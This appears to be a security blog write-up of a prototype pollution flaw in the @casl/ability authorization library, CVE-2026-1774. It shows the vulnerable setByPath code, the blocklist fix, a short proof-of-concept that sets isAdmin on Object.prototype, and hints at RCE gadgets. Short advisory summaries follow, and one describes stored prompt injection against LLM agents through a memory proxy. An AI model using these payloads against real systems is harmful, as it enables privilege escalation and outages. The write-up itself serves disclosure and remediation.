Feb 12, 2026·6 min read·162 visits
The bouncer is drunk. @casl/ability versions < 6.7.5 contain a flaw in the `setByPath` utility that allows writing to `__proto__`. This enables attackers to pollute the global Object prototype, turning a library meant for restricting access into a tool for granting total control.
A critical Prototype Pollution vulnerability in the popular authorization library @casl/ability allows attackers to corrupt the Object prototype. By supplying malicious rule conditions, an attacker can bypass security checks, cause Denial of Service, or potentially achieve Remote Code Execution (RCE) in Node.js environments.
You know what's tragically ironic? Authorization libraries are supposed to be the digital bouncers of your application. They stand at the function calls, checking IDs, ensuring 'User A' doesn't touch 'Resource B'. They are the trusted gatekeepers. But what happens when the bouncer leaves the back door propped open with a brick? That is CVE-2026-1774.
CASL (@casl/ability) is the go-to isomorphic library for handling permissions in the JavaScript ecosystem. It's elegant, powerful, and apparently, until recently, fatally trusting of input. The vulnerability lies deep within the extra module, specifically in how it parses field paths.
If you are using this library to parse user-defined rules—common in multi-tenant SaaS apps where admins define permissions—you aren't just vulnerable. You are handing attackers a loaded gun and pointing it at your own foot. This isn't just a bypass; it's a full-system compromise waiting to happen via Prototype Pollution.
The vulnerability hides in a utility function called setByPath. Developers love these little helpers. They take a string like 'user.address.zip' and magicaly hydrate a nested object structure. It saves time. It feels clean. It's also a minefield if you don't watch where you step.
The logic inside setByPath uses a .reduce() loop to traverse the object based on the dot-notation string. It looks innocent enough: split the string, walk the object, create properties if they don't exist. The fatal flaw? It didn't care what property it was walking.
When the function encounters the forbidden token __proto__, it doesn't stop. It treats it like any other key. It traverses up the prototype chain, setting the accumulator reference to Object.prototype. Once the loop lands there, the next key in the path is written directly to the global prototype. In JavaScript, modifying Object.prototype is like poisoning the town well—everyone who drinks from it gets sick. Every object created thereafter will inherit your malicious property.
Let's look at the diff. This is where the developer realized they messed up. The vulnerability existed because the code blindly assigned values to whatever key was in the path array.
The Vulnerable Logic:
// The code that broke the world
export function setByPath(object: AnyObject, path: string, value: unknown): void {
let ref = object;
const keys = path.split('.');
// No validation. Just vibes.
ref = keys.reduce((res, prop) => {
res[prop] = res[prop] || {};
return res[prop] as AnyObject;
}, object);
ref[lastKey] = value;
}The Fix (v6.7.5):
In commit 39da920ec1dfadf3655e28bd0389e960ac6871f4, the maintainers added a blocklist. It's not the most elegant solution (blocklists rarely are), but it stops the immediate bleeding.
// The sanity check
const FORBIDDEN_PROPERTIES = new Set(['__proto__', 'constructor', 'prototype']);
export function setByPath(object: AnyObject, path: string, value: unknown): void {
// ...
ref = keys.reduce((res, prop) => {
// If the attacker tries to climb the prototype chain, we just ignore them.
if (FORBIDDEN_PROPERTIES.has(prop)) return res;
res[prop] = res[prop] || {};
return res[prop] as AnyObject;
}, object);
// ...
}> [!NOTE]
> While this fixes the specific gadget in setByPath, it serves as a reminder: anytime you accept a key/path from a user and use it to access an object, you are playing with fire.
So, how do we weaponize this? The vulnerable function is often triggered via rulesToFields(). This is used to convert CASL rules into database queries (like MongoDB criteria). If your application allows users to store or define their own permissions (e.g., "I want to allow access to Posts where condition X meets Y"), you are cooked.
Here is a realistic attack chain:
Proof of Concept:
import { rulesToFields } from '@casl/ability/extra';
import { defineAbility } from '@casl/ability';
// The Trojan Horse
const maliciousAbility = defineAbility((can) => {
// "I can read Posts if... oh, by the way..."
can('read', 'Post', {
'__proto__.isAdmin': true,
'__proto__.toString': 'Checking permissions... JK broken.'
});
});
// The trigger
rulesToFields(maliciousAbility, 'read', 'Post');
// The Verification
if (({}).isAdmin) {
console.log("pwnd: access granted to everyone.");
}Once Object.prototype.isAdmin is true, any subsequent check in your code like if (user.isAdmin) might accidentally return true if the user object doesn't have its own isAdmin property. You just promoted every user in the database to Administrator.
You might wonder why this gets a near-perfect 9.8 score. "It's just adding properties to objects," you say. Wrong. In Node.js environments, Prototype Pollution is often a stepping stone to Remote Code Execution (RCE).
There are known "gadgets" in popular libraries (like generic template engines, child_process spawning logic, or argument parsers) that look for specific properties on objects. If they don't find them, they check the prototype. By polluting Object.prototype, an attacker can inject malicious configurations into unrelated system calls.
For example, polluting shell, env, or execPath can trick child_process.spawn into executing arbitrary binaries. Even without RCE, overwriting toString or valueOf will almost certainly crash the application (DoS), causing a complete outage.
If you are running @casl/ability versions 2.4.0 through 6.7.4, you need to update immediately. Version 6.7.5 is the patched release. Go check your package-lock.json right now. I'll wait.
Remediation Steps:
npm install @casl/ability@latestMap instead of Object for dictionaries where keys are user-controlled.If you cannot upgrade for some reason (legacy constraints?), you can try to mitigate this at the runtime level by freezing the prototype early in your application boot process:
// The nuclear option
Object.freeze(Object.prototype);Be warned: this might break other libraries that legitimately modify the prototype (though they shouldn't be doing that anyway).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
@casl/ability Stalniy | >= 2.4.0 < 6.7.5 | 6.7.5 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-1321 |
| Attack Vector | Network |
| CVSS Score | 9.8 (Critical) |
| EPSS Score | 0.00022 (Low Probability) |
| Exploit Status | PoC Available |
| Impact | RCE / DoS / Auth Bypass |
The application does not properly control which attributes can be modified in the prototype of an object, allowing an attacker to manipulate the prototype chain.
NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.
CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.
CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.